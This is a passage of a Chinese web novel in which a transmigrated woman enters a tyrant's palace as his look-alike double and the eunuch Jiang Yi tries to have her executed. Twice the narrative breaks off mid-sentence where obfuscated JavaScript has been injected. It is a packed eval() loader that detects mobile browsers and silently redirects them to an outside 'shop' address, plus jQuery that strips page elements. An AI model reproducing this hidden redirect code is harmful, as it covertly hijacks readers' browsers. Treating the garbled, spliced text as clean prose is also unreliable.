《轮到我当皇帝了》 3. 放!放肆! 谢水杉穿越的这个角色,原本名叫谢千萍。 系统当时为了劝阻谢水杉穿越,相关人物剧情说得很详细。 谢水杉不想借尸还魂,当时听得漫不经心,但她天生思维敏锐记忆力惊人,即便是一心多用,关键的信息,一样能够下意识抓取。 谢千萍,乃是东州谢氏谢敕最小的女儿。 谢千萍同谢氏对外名号响亮的女将谢千帆,是双生女。 只不过谢千萍因为娘胎里弱,自出生开始便是体弱多病,长到了十来岁,甚少出闺房和府邸。 谢氏其他的子女又是有意保护这小妹妹,于是除了自家的老仆,知道谢千萍存在的人少之又少。 谢氏满门,就连谢敕的夫人元培春,都是马上的将领。 谢千萍因为身体原因,无法习武,更别提征战沙场,继承谢氏家族的兵马与领地。 原本该是养在闺阁的娇女儿,到了年岁在中州二城寻一户能拿捏住的好人家,发嫁也就是了。 然而谢千萍到底生了谢氏骨血,刚直烈烈,热血难凉。 谢千萍虽然无法征战,却是谢氏族内难得对朝局敏锐之人。 她整日闷在闺房之中,却借谢氏遍布各地的“桩子”眼睛,纵观朝堂局势,细数崇文国全境六大世族盘踞的四州,以各世族在朝堂之上占据的权势,夜以继日地推算未来数年之内,六大世族的兴衰趋势。 而后发现,她父亲谢敕死后,东州的新任节度使虽然现如今在她谢氏的地盘,还是个被架空的摆设,但是各世族多年来觊觎谢氏盘踞的东州铁矿,已经渗透了很多人进来。 就连父亲和苍碛国的那一战,细细纠察,也有其他世族的影子。 谢氏手握重兵,却到底天高皇帝远,被各世族逐渐排挤在权势中心之外,照这样继续发展下去,谢氏终有彻底衰败的一天。 她不能再眼睁睁看着自己哥哥和姐姐,不明不白战死沙场,连尸骨都无法寻回了。 然而谢千萍虽然才学出众,却是个女子,崇文虽有女将护国,宫中女官数量也颇多,但是想要真正接触到权势的中心,只能走登科入仕一途。 但这条路太难了,谢氏如今已经呈现山崩倾颓之象,等不了那么久。 况且天下英才不知凡几,就连男子做官要做到手掌权势,也是需要数十年的煎熬。 谢千萍束手无策,只能日复一日在谢府的四面高墙之中磋磨满腔凌云志。 恰逢皇帝朱鹮遇刺,谢氏桩子传回来朱鹮已然无法治愈,成了个不良于行的废人的消息。 又没多久,皇都朔京再次传来朱鹮正在暗中秘密搜罗与他容貌肖似之人的消息。 那些人被带回宫中调教后,冒充君王,替朱鹮行走人前,稳定局势。 这简直是进入权势中心,为家族收集各世族动向,搅乱世族之间的浑水的千载难逢的机会! 谢千萍欲要剑走偏锋以身涉险,母亲兄姐自然全都不允。 可东州谢氏没有无用的孬种。 家里的人再怎么维护和劝阻,也抵不过谢千萍数次以死相逼。 万般无奈,谢氏终于同意让族中奇医,在谢千萍与朱鹮原本只有三分相像的容貌之上做手脚,经过数次碎骨重塑,再辅以针刀频频矫正,终于养出了一张同朱鹮有七八分相像的模样。 又经过漫长的恢复,才以为朱鹮献上“投诚礼”之名,由谢氏之手,送入皇都朔京,面见朱鹮。 谢水杉想起系统说的原本正常的剧情发展之中,谢千萍进宫之后,谨小慎微步步为营,确实为谢氏传递了不少有利的消息。 谢千萍以君王傀儡可以接触到朝政的便利,摸清了六大世族之间盘根错节的权势关系,还掌握了太后以及其母族桑州钱氏,手握先帝遗腹子的重大消息,并且及时传回了谢氏。 虽然谢千萍本人因为某次落水,被识破了女扮男装的身份,以冒充帝王之罪,受了凌迟之刑而惨死。 但是她的暴露,也正给了暴君朱鹮致命一击。 自此朱鹮再也无法以残缺之身,藏匿傀儡之后,更因“残缺之躯不得为君王”的惯例,引得世族名正言顺对他群起攻之。 而谢千萍送给谢氏的消息,让谢氏在推翻暴君朱鹮,拥立新君上位的关键时刻,因救驾及时,获从龙之功。 自此谢氏蛰伏多年,再度回归权势中心,并且因为手握重兵,戍守国境多年,满门忠烈,也是真正的新君上位之后,唯一未曾被清算的世族。 谢千萍本人,倒也是一位智勇双绝的女子。 当时听了谢千萍的生平,谢水杉拒绝借谢千萍之尸还魂。 系统又说耗尽能量,为她将生前的身体数据,完美复刻过来。 谢水杉仍旧不同意,系统便先斩后奏,还是把她送来了这里。 她先前沐浴的时候在水中看到了倒影。 系统倒是信守了为她复刻身体的承诺,谢水杉如今的躯壳,并非谢千萍,而是她自己。 这也是谢水杉此时此刻,掀开了纱幔,看到了大反派朱鹮的模样,饶是再有心理准备,也忍不住发愣的原因。 谢千萍蓄意按照朱鹮的容貌碎骨重塑数次,和他相像便是必然。 但谢水杉也未曾料到,她本人的样貌,竟是比谢千萍与朱鹮还要更相似一些。 所有人都是一个鼻子两个眼,没有其他的排列顺序,世上长得像的人自然很多。 但是像得宛如双生,宛如照镜子的,即便谢水杉见多识广,也是生平仅见。 两张几乎一模一样的脸近距离对视,一高一低,一仰一俯,彼此的眼中都难免惊愕。 同样的修眉凤眸,同样的高鼻薄唇。 就连眼尾狭长收束后微微上扬的弧度,都好似尺子精量过才描绘出的弧度。 唯一不同的,是朱鹮比谢水杉消瘦许多,也更苍白,因而他的五官更显锋锐,眉骨颊骨,浑身上下所有的骨头,都嶙峋得宛如不近人情的险峰。 且相比谢水杉眼中只是深湖轻荡的平和,朱鹮短暂的惊愕过后,狭长的凤眸眯起,眼中尽是深暗不见底的戾气。 朱鹮没见过敢直接冲到他面前掀他床幔的人,反应过来后,提高声音,音落如珠。 “放!放肆!” 随着朱鹮的叱骂,谢水杉两侧肩头和后颈下方被人一砸,通身一阵难以言喻的酸麻流窜而过,她双膝脊骨不受控制一软,就被脖子上的一圈儿刀锋,压着跪坐在了朱鹮的床前。 原来这世界真的有内力。 朱鹮只要语速一快,一急,就难免磕绊,因此喊出了这三个字之后,他死死抿住了唇,怒意如火,想到了些许耻辱往事,他下意识深深抽了一口气。 “咳咳咳咳咳——” 朱鹮抬手掩唇,剧烈地咳了起来。 “咳咳咳……咳咳咳咳……” 朱鹮一咳起来,就停不下来了。 这时候静静跪在床边不远处的两列宫女,立刻好似被提了线的木偶一样,速度飞快且有序地动了起来。 不远处的内侍监江逸也已经连滚带爬地跑了过来。 一群人好似一窝围着鲜花儿的狂蜂,围着朱鹮如临大敌,顺气的顺气,端药的端茶的,还有掐穴位,甚至还有本该压制着谢水杉的持刀玄衣武士,蹬了长靴跃上了床榻,给朱鹮输送看不见的内力去了。 “陛下……陛下快把这药喝了。” 江逸扔了白玉拂尘,接过婢女手中温度正好的药碗,双膝跪在床边上,殷切紧张得像个孝子贤孙一般,伺候着朱鹮把药喝了。 待到朱鹮撕心裂肺的咳嗽总算是用药,用茶,用参汤,用武士的内力给压住了。 婢女不需要吩咐,就纷纷跪回床两侧时,朱鹮身侧的纱幔已经彻底掀起来了。 他身后被换了个腰撑,又换了宽大一些的木质坐撑,像一把没有腿,直接能放置在床上的靠椅。 他被扶着撑着,坐在木质的靠椅上,朝着谢水杉再度望来时,他眼尾已经红了一片,苍白的面上见了几分血色。 只不过他看着谢水杉的眼神浓黑且幽深,苍白的指节,无意识地摩挲着他靠椅之上的龙首浮雕,若有所思。 显然,他也因为谢水杉与他过度肖像的样貌,产生了惊疑。 而总算伺候好了朱鹮,净手回来的内侍监江逸,又一次替朱鹮开口了。 他接过侍人为他捡起的拂尘,指着跪坐在地的谢水杉道:“言行狂肆,冲撞君上,该当死罪!” 说完之后,转身对着坐着的朱鹮躬身拱手:“陛下,中州谢氏送此等不曾训诲的悖逆无礼之徒入宫,恐怕不是什么‘投诚礼’,而是刺客!此人留在身边遗患无穷。” 见朱鹮只是盯着那悖逆之徒,并不开口。 江逸心中有了数,再度回身,指着谢水杉道:“来呀,将此人拖出去,五马分尸!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766552|190179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从杖毙升级到了五马分尸。 这江逸不愧是朱鹮身边第一宦官,还怪会揣度圣意。 不过江逸猜测得倒也不错。 东州谢氏送给朱鹮的,确实不是什么礼物,而是“祸机”。 谢千萍并不忠于朱鹮这个暴君,她的孤注一掷之中,也包含在必要的时候,伺机刺杀朱鹮。 所以占据谢千萍身份的谢水杉,严格来说,是个二五仔兼刺客。 谢水杉闻言开口,为自己辩解:“江监,慎言。” 谢水杉先前还不能判定这紫衣男子的品阶和身份,但是在朱鹮叫出江逸的时候,就知道他乃是朱鹮这个大反派身边的头号狗腿,统领皇宫内侍的内侍监。 谢水杉利刃架在脖子上,被迫跪坐,姿态有些狼狈,但是她依旧神情平淡,语调也不见多么急切,而是掷地有声地说:“既然我是谢氏全族送给陛下的‘礼’,那么训诲自然是由陛下亲自来。” “我是作为陛下的影子而存在,谢氏远在东州,常年戍守东境,不得觐见,不识陛下真容,怎敢随意训诲?” “死到临头,竟还敢狡辩,”江逸冷哼道,“若谢氏诚心,该送个规矩的到陛下身边,陛下的身边自有人教习行事,轮得到你自行揣测,以下犯上!” 谢水杉看向朱鹮,并不如他人面圣一般战战兢兢,也不如他人一般不敢直视天颜。 她像方才一样放肆无度,骤然掀开朱鹮的床幔那样,直视着朱鹮。 朱鹮也未曾挪开视线,两个人深望着彼此,各自眼中暗潮生澜。 谢水杉一边细细地将朱鹮看着,得出了一个朱鹮的眉毛比她浓重的新结论。 同时一心二用地开口:“江监说的陛下身边自有人教习……谁?你吗?” 谢水杉话锋一转,唇角勾起些许笑意,若是此刻她的商业竞争对手,或者公司手下在这里,就该知道,她要出撒手锏了。 可惜江逸完全不了解谢水杉。 只听她语调幽幽,拖着一股子同她之前清越的声线,完全不同的散漫调子道:“我来自东州,许是天高皇帝远,孤陋寡闻了,江监什么时候做过皇帝?竟是知道怎么教人做皇帝?” “还是江监有一颗登峰御极的殷切之心?” 话音一落,满殿寂静如坟。 江逸脑子嗡的一声,还没彻底反应过来,身体已经“咚”地跪下了。 “陛下!” “陛下……” 江逸张了张嘴,喉间干涩烧灼,一时间竟是百口莫辩。 教习傀儡之事确实一直都由江逸来做,谢水杉这话就是往白纸上面泼墨,任他再怎么清清白白,忠心为主,也绝对洗不干净。 他不允许任何人冲撞朱鹮,冒犯朱鹮,连听闻探秘闻的察事厅“察子”上报,说哪位朝臣私下说了朱鹮一句不好,他都要伺机报复。 可是他教习朱鹮的傀儡行走人前,这本身就是一种僭越犯上,他一介奴婢,如何知道怎么做皇帝? 哪怕那些人只是提线木偶,线也不该由他来提。 更何况……他操纵的傀儡才刚出了事儿。 那傀儡已经代替朱鹮有段日子,平素身边前呼后拥久了,生了私心,壮了贼胆,竟是宠幸宫妃后留下了孽种,还勾连朝臣,戕害其他的傀儡。 想着其他傀儡都死了,朱鹮命不久矣,到时候太后为了稳住局势,一定不会动他,他做上了取而代之的春秋大梦! 杖毙在梅树下的尸身,到现在还没收呢! 若是陛下当真顺着这东州谢氏送来的人说的去想,再对他生了疑心,江逸就算是把肝肠掏出来奉上,恐怕也只会被嫌弃腥臭! 他眨眼之间已经浑身颤抖,汗如出浆。 江逸抬头看向朱鹮,嘴唇哆哆嗦嗦开合数次,又嘶哑地叫了一声:“陛下……奴婢之心,天地可鉴……” 除了苍白无力的表忠心,他竟是说不出其他有力的辩解。 真可谓是哑巴吃黄连。 谢水杉还在和朱鹮对视,两个人隔着一段距离,如今姿态调转,依旧是一仰,一俯,把彼此的眉眼口鼻,都看了个纤毫不落。 片刻后,面上潮红缓慢褪尽的朱鹮,突然笑了。 一开始声音闷在喉间“呵呵呵呵……咳咳咳……” 但很快他艳色的唇间,露出洁白贝齿,笑得愉悦非常。 眉宇间阴鸷散尽,春晓般明媚起来。 4.出大事了 谢水杉一直看着朱鹮,看着他倚靠着靠椅,腰间却还有特制的铁束腰,显然他自己是坐不住的。 而他此刻笑得堪称花枝乱颤,身形的摇动,导致他朝着椅背下面滑了一些。 满头未曾束好,只是拨到了椅背之后的长发,随着动作流泄到身前。 谢水杉顺着逶迤而下的长发看去,眉梢又轻轻一跳。 除了朱鹮比她的眉毛粗浓之外,她找到她和朱鹮之间明显的不同了。 朱鹮的头发竟是一头乌黑稠密的卷发。 那种会因为动作在半空跳跃的烂漫自然的大卷。 像海藻一样。 他一边笑,一边轻咳,地上跪着的宫女又整齐划一地动了起来。 江逸紧张地看着朱鹮,膝行到他脚边,扶着朱鹮的小腿,这么一会儿,喉咙已经哑了。 “陛下,奴婢之心陛下若不相信,大可以挖出来一观。” “但这谢氏送来之人,析辩诡辞,颠倒黑白实为‘妖孽’,此子决不能留!” 江逸在皇宫之中沉浮了一辈子,生平栽过的跟头也不少,宫变易主的凶险都经历过。 也不得不叹这谢氏送来的人巧言善辩,可舌灿莲花,这一手离间之计,看似不痛不痒,毫无凭据。 但万丈深渊仍有底,人心却是最难测。 尤其朱鹮久病多疑,只要他心中埋下一丝一毫的猜疑,来日必将滚成引发雪崩的雪球。 自古君王,最忌讳的便是屁股下的龙椅遭人惦记。 可是江逸顾不上为自己辩解,堪称剖心析肝地诚恳谏言。 待到朱鹮收了笑,又用参茶压了喉间痒意。 殿内再度寂静得落针可闻。 众人都在等待着朱鹮启用何种酷刑处置这狂徒。 谢水杉也在等着,因此她一直在直勾勾地望着朱鹮。 朱鹮却不再和谢水杉对视,挪开了视线。 脸上的笑意似乎也因为体力耗尽,彻底收了起来。 仿佛那些看不见摸不着的阴翳,再次浸染他的眉眼,将他整个人笼罩。 压抑的寂静之中,朱鹮有些晦暗的视线掠过了空寂的大殿,看向了窗外因为大雪越急,更显昏暗的天色。 手指缓慢地摩挲着身侧扶手上的龙头。 许久才开口,轻飘飘地道:“江逸,朕乏了,先把他带下去吧。” 这便是留下谢水杉的意思。 谢水杉忍不住扬了一下眉。 “陛下!” 江逸又忍不住叫了朱鹮一声,但是这一次朱鹮连看也没有看他。 江逸满腔的热血和忠贞,都凝固在了朱鹮阴鸷的眉目里。 只得死死抿住嘴唇,脸上沟壑更深。 谢水杉被江逸亲自带出太极殿的时候,外面的天已经彻底黑了。 大雪还在疯了一样地铺盖天地。 像一双来自异世的手,誓要抹去这世间一切的污浊。 内侍监江逸怒形于色,气势汹汹地走在前面,专挑雪没扫的地方走,把地面踩得咯吱咯吱的,似乎只有这样,才能宣泄他心中因朱鹮留下谢水杉的不满。 谢水杉闲庭信步跟在江逸的后面,根本不怕跟不上。 途经的殿宇恢宏,层台累榭,手持长戟还有弩箭的卫兵,十步一人夹道而列,于沉暗的天色和大雪中沉肃而立,宛如死物。 到处都像太极宫给人的感觉一样,压抑,萧瑟,又沉闷。 有宫人持着扫雪的器具,一刻不停来回清扫路面,身上都堆满了来不及抖落的雪花,好似一个个活过来的雪人。 谢水杉将这一幅庄重古朴的异世宫廷图景尽收眼底,却满脑子只有一句话——朱鹮为什么不杀她? 谢氏不得自残自伤,但是可以横死嘛。 谢水杉眼中尽是懒倦之色,她是真的对这个新世界对自己的新生命,没有一丝丝的留恋。 说好的朱鹮是个阴晴不定,嗜杀成性的暴君呢? 谢水杉想到朱鹮在殿中突然发笑的样子,阴晴不定是有了,嗜杀在哪里? 许是谢水杉走得太慢,好像在雪中漫步,明明没人给她在大雪之中撑伞,她该显得狼狈,可她任凭满身被风雪浸染,都懒得伸手去拂上一下的模样,竟是生生给人看出一种超脱尘俗的淡然来。 江逸看他这样子,更气了。 江逸压抑着满腔的怒火,回头瞪着谢水杉,等着她跟上来。 谢水杉被带到了太极殿后面的麟德殿,麟德殿建在一处高地之上,坐北朝南,规模宏大,气势磅礴。 谢水杉跟着江逸登上台阶,又绕过台基四周廊庑围成的庭院,穿过麟德殿的前殿,中殿,上了后殿的二楼,才抵达朱鹮要江逸安置谢水杉的宫殿结邻楼。 站在结邻楼上眺望全局,这里由前、中、后殿合聚而成,显然比朱鹮居住的太极殿大了不止一倍,殿内的布局错落,壮丽丰富,俨然这里才是真正的帝王居所。 江逸派内侍先入内通传,没过多久,稀稀拉拉的脚步声传来。 谢水杉正在一扇敞开的窗户旁朝外看,闻声转过头,看到了一二三四……六个和她,或者说和朱鹮容貌肖似的傀儡。 显然,这里是江逸口中的训诲傀儡的地方。 所以朱鹮自己住在太极殿,让一群傀儡住在真正帝王住的麟德殿? 江逸表情一直都阴沉非常,把人聚在一起,让他们看到有了新的傀儡,也算是一种威慑。 毕竟傀儡增加,证明他们随时随地都可以被取代。 江逸看了谢水杉一眼,环视众人,沉着声音道:“十号得鱼忘筌,已然杖毙。” 他嘴唇又动了动,本应同谢水杉介绍一些在这麟德殿的注意事宜,给她介绍一下此处侍奉待命的六局女官,以及各种禁忌。 但是江逸巴不得这谢氏的“妖孽”犯禁,最好在女官的手中遭罪吃苦,显露形迹,因此他什么都没有给谢水杉说明。 只用压低了却因为带着嘲讽又莫名尖锐的调子,阴阳怪气对谢水杉道:“你是十七号。” 江逸看着谢水杉,眼中带着恶意:“进了这麟德殿,劝你们忘了出身,忘了自己,只把自己当成个物件儿才能活得久远,你们的家人才能平安富贵。” 江逸说话的时候,殿内众人除谢水杉之外,俱是噤若寒蝉,有两个先前同十号交好的,身子都不由得抖了起来。 很显然平素这江逸训诲朱鹮的傀儡,用的都是酷烈镇压的手段,这些人见了他,就好似耗子见了猫。 似乎是很满意这些傀儡战战兢兢的模样,江逸一甩拂尘,带着来时为他撑伞开路的内侍,又气势汹汹地走了。 谢水杉始终站在窗边,窗户开着,她的后背被窗外冬日的朔风吹得冷透。 一路上落在身上的雪化了,她的头发和衣物也变得潮湿,一路走过来,一直踩在雪里,鞋袜也已经湿透,沉甸甸湿漉漉地扒着她。 极其难受。 但是谢水杉依旧眉目寡淡,站在窗边不动。 连自己的感知都懒得理会。 几个傀儡在江逸走了之后,神情各异地对视,而后都默默地坐到了一处角落,三两个结伴,围在几个小几前,沉默地等待。 没有人和谢水杉说话,他们相互之间也不交流。 片刻后,屋子的门口进来了一个穿着青色交领右衽大袖襦,腰佩鎏金蹀躞带,头戴翡翠簪子的青衣女官。 她在屋子的门口一站,面容冰冷,环视了殿内的众人一圈,眼中虽然不带轻蔑之色,却也不带任何情绪。 她的目光,有片刻投向站在窗户边上吹冷风的谢水杉身上,而后轻飘掠过,拍了一下手。 掌音落下,身着浅绿色宫装的司膳宫女鱼贯而入,开始朝着傀儡们围坐的小几子上面摆放膳食。 从头到尾,所有人都静悄悄的。 仿佛集体被割了舌头。 等到宫女们摆好了膳食,那青衣女官便带着宫女们有序地退出了殿内,殿门关闭。 屋子里面只剩下碗筷碰撞,还有很轻的咀嚼声。 等到屋外面的脚步声彻底消失,有些人终于忍不住频频看向谢水杉。 片刻后,那看了谢水杉好几眼的人,不满地一摔筷子,声音像粗粝的砂纸磨过一样沙哑:“做什么一直开着窗户,数九寒天的,你热你去雪里站着啊!” 沙哑男人眉眼和朱鹮不太相似,朱鹮的眼睛狭长,眼尾上挑,是标准的丹凤眼,而这男人,却生了一双不够狭长的瑞凤眼,要说和朱鹮最像的地方,就是他一身戾气。 他指责谢水杉开窗吹风,但这窗子根本就不是谢水杉开的,她只是恰巧站在窗边懒得挪动。 见谢水杉没有反应,这沙哑男人对面坐着的显然也不是什么善茬儿。 他叼着一根儿青菜兔子一样快速的蠕动双腮,嘴里吧唧作响,先前在江逸和司膳女官面前那端正模样,荡然无存,身上透出了一股子流里流气的味道。 俨然一个市井流氓。 这流氓将谢水杉从上到下扫了一遍,眼中掩不住的妒恨之色,他们都未曾真的面见过圣人,但看圣人的画像,这人无疑是最像的。 越像,出殿冒充的次数就越多,得到的赏赐也就越多! 这简直是和他们抢饭碗的! 断人财路杀人父母啊。 于是流氓男人一笑,说话便格外难听:“得,咱们这儿走了一个异想天开真想当皇帝的,这又来了个‘贞洁烈妇’啊,怎么着,摆一副死人脸,是没给你钱还是有人逼良为娼啊?哈哈哈哈……” 这人说完,他旁边的一桌也笑了。 他们这些人大多是自愿进宫来的,当皇帝还有钱拿,虽然风险很大,但是架不住钱给得多,那是他们几辈子都挣不来的买命钱! 至于这些人良莠不齐也好理解,毕竟朱鹮遍天下搜罗与他肖像之人,来者不拒,自然就是三教九流全都有了。 谢水杉眉目英气非常,气质利落,由于她亲生母亲是一位超模,因此谢水杉的净身高足有一米八,这身高在寻常男人堆里也算是高,加上他此时做的也是男子装扮,一打眼没有人会将她认成女子。 这人是在故意用“烈女”讽刺她。 谢水杉靠在窗户边上,鼻翼间吸着外面沁凉的风雪,望着屋内这群人,他们先前还被江逸吓得小鹌鹑一样,转眼就乌七八糟地叫唤着,笑着,原形毕露。 谢水杉的眼神带着真切的怀疑。 朱鹮所谓的凶暴嗜杀,到底体现在哪里? 能养这么一群玩意,还要派出去代替他见人,他恐怕是真正的圣人吧。 有人对谢水杉恶意满满,有人对谢水杉漠视无睹,自然也有人对谢水杉这副“木讷无助”的样子产生好感。 至少比先前那个狼子野心,妄图当真皇帝还想把他们都毒死的那个好多了不是吗? 于是这人很快从桌子旁边起身,走到了谢水杉的身边,伸手把她身后的窗子给关上了。 “你……你衣裳都湿了,江监有没有说你住哪一间屋子?” 谢水杉俯视面前的人,这还是一个没怎么长开的少年郎,看着也就十五六岁的样子,眉眼长得和朱鹮有四五分相似,但是他的眉间有一颗红痣。 朱鹮虽然久病面色苍白,但肌肤洁净细腻,脸上没有任何瑕疵。 见谢水杉不说话,红痣少年也不在意,继续说道:“司设女官还没过来,等一下我们吃完了饭,她会给你分配屋子。” “还有干爽衣物。” 谢水杉依旧没吭声。 这红痣少年颇为自来熟地拉扯了一下谢水杉的手臂:“你先过来,吃一些东西吧。” “啧啧啧,就你好心,也不看看人家领你的情吗?”那个流氓男人,嘴里头不知道什么东西嚼不烂,呸的朝着桌子上吐了一下。 那几个小几摆得都挺近的,谢水杉别说吃饭,她甚至有点想吐。 缓慢挣开对她示好的红痣少年的手,冷淡道:“你吃吧,我不饿。” 红痣少年有一些无措,见谢水杉实在不领情,他就自顾自回去吃东西了。 她之后要和这群乌七八糟的人一起吃住? 谢水杉上辈子可没遭过这种“罪”。 她开始认真地思考……她需要做点什么事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16769097|190179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情朱鹮才会显露暴君本性,凶残地杀了她? 烦。 “陛下,为什么不杀谢氏送来的那个明显就有问题的人?” 太极殿中,江逸已经根据朱鹮如常对他信赖的诸多举动,打消了心中的担忧。 陛下果然不会因为随便一个人挑拨,就对他心生猜疑。 念诵奏折的空隙,江逸见缝插针地劝说朱鹮:“陛下,纵使那人与陛下十分相像,留下那人实在遗患无穷。” “东周谢氏向来孤高骄矜,自诩国之栋梁满门忠烈,怎会舍了氏族的体面与高傲,突然对陛下投诚。” 即便在江逸的心中朱鹮是这世上最正统的天子,是心系百姓,殚精竭虑的圣明君王。 但是陛下对外的名声实在不怎么好,加之世族蓄意的宣扬,近年来,纵使朱鹮竭力同世族争夺科举途径,确保科举公正。 可就连寒门才子都不肯登科入仕,辅佐暴君。 谢氏的投诚,代表东境三十万兵马的臣服,固然对困缚夹挤在世族之间,左右难进的陛下来说是一场及时雨,是天降臂膀。 但根据那“妖孽”的种种表现,谢氏对陛下全然没有敬重之意,目的绝不单纯。 江逸苦口婆心,又劝了几句,躺在床上闭目,等待听奏折的朱鹮才终于睁开眼睛。 并没有看向江逸,开口,慢慢地说道:“你也说他与我长得非常相像,这样的人并不好找。” 江逸又说:“可他不敬陛下,目的不明,况且陛下有妙手丹青姑姑,与陛下两三分相像之人,经丹青姑姑之手打理也能十分相像。” “他十分相像又有什么稀奇?” 朱鹮很想叹气,江逸哪里都很好,忠心耿耿,是他当年封王出府之后,照顾他的长史。 甚至因为他登基后身边没有体己的人,甘愿舍弃作为男人的尊严,舍弃正经可垂名青史的官途,入宫伴驾,成了个人人鄙薄的弄权阉人。 可是江逸忠诚有余,智谋不足。 朱鹮一想到自己需要细细掰开了揉碎了跟他解释为什么会留下谢氏送来的“大礼”,简直心力交瘁。 那人不仅胆大包天,还巧言善辩,看着他的眼神有冷漠有兴味,唯独没有半点对皇权甚至对生死的畏惧之意。 几句话把江逸逼到百口莫辩的境地,确实不是等闲之辈。 至于为何要留下他,也不过是顺水推舟,将计就计罢了。 无论谢氏是想迷惑他,刺杀他,甚至是妄图用这么个人李代桃僵,直接将人杀死都得不偿失。 东境三十万兵马,谢氏纵使这些年来已经远离权势中心,麾下兵马却是兵强马壮,铁蹄铮铮。 朱鹮完全可以利用此人,在与世族的博弈之中,将谢氏这艘大船拖下水。 这是一把递到手中的双刃剑,能豁开眼前这一潭死水一样的局势,能斩断那些相互勾连虬结的世族根系。 就算是用剑先伤己,如今连站起来都做不到的朱鹮,又怎么舍得放弃? 江逸还在劝朱鹮。 朱鹮叹了一口气。 他身体千般温补万般仔细,但是体力终究有限,他就像一盏即将燃到尽头的灯烛。 处理国之大事已经是勉强,实在是没有精力再去教一个榆木脑袋。 于是朱鹮冷了语气,杀人诛心般问江逸:“朕的命令你再三质疑,是当真想越俎代庖吗?” 江逸扑通一声跪下,手中的奏折随着他的动作一起摁在地上,对着朱鹮砰砰叩头,用恨不得撞地而亡的力度,表达自己的忠心。 颤颤巍巍地开口道:“陛下,奴婢只是……” 朱鹮闭上眼睛,眉心微拧,又道:“继续念。” 朱鹮没有叫他起身,江逸便跪在地上,压抑着满腔激烈冲撞的情绪,拿起地上的奏折继续念。 “臣御史大夫蒋桥,谨昧死以闻。” 江逸熟练地跳过了无用的歌颂君王,以及官员秉承自己职责所在等等废话。 而后念道:“东州节度使钱满仓,纵恶仆于朔京强掠民女,充奴为妾,致民怨沸腾……” 朱鹮睁开眼,看向床帐顶端,发出一声冷嗤。 语调幽幽:“钱满仓乃太后母族子侄,无功无禄,太后强扶他为东州节度使,是为了渗透东州兵权。” 江逸刚被朱鹮给吓唬了一下,但是听到朱鹮的话,忍了好几次还是没有忍住说道:“狗屁的东州节度使,不过仗着太后的威势挂个虚名罢了,钱满仓胆敢去东州上任试试!” “谢敕虽死,但是所留子女皆为东州虎狼,钱满仓前脚去东州,后脚就得像谢敕一样尸身都找不到!” 朱鹮闭上眼,已经是累极,语调越发拖沓疲惫:“不管如何,这东州节度使的‘茅坑’到底是太后占着了。” “陛下,这御史大夫的弹劾岂不正好……” 朱鹮最后道:“着察事厅子去查。” “是!”江逸领命。 又适时说道:“陛下,已经临近子时,陛下身体要紧,今日先歇下吧。” 朱鹮含糊应了一声,连着人伺候洗漱都未来得及,就失去了意识。 他身体太差了,若不是因为事发之时年轻,恐怕早已油尽灯枯。 不过朱鹮终究还是没能睡个安稳觉,他才昏睡过去不久,就被江逸摇晃着肩膀强行叫醒了。 “陛下,陛下先醒一醒……” “陛下,麟德殿那边出事了……” “陛下……” 朱鹮醒了,但是这样刚刚睡下就被强行叫醒,他更虚弱了。 几乎是气若游丝地说:“你叫魂儿吗?” 真是越来越没规矩。 朱鹮艰难睁开眼睛,明明也算是小睡了一会儿,此刻的面色却苍白到近乎灰败。 若是平时,就是天大的事情江逸也是能顶一会儿的,好歹让朱鹮自行缓神,不这么生耗他的心血。 但是此时不是天大的事能形容的,因为天真的塌下来了! 江逸都来不及让人将朱鹮从床上扶起来,就扒在床边上对朱鹮急吼吼地说:“出大事了陛下,那东州谢氏送来的,是个女子!”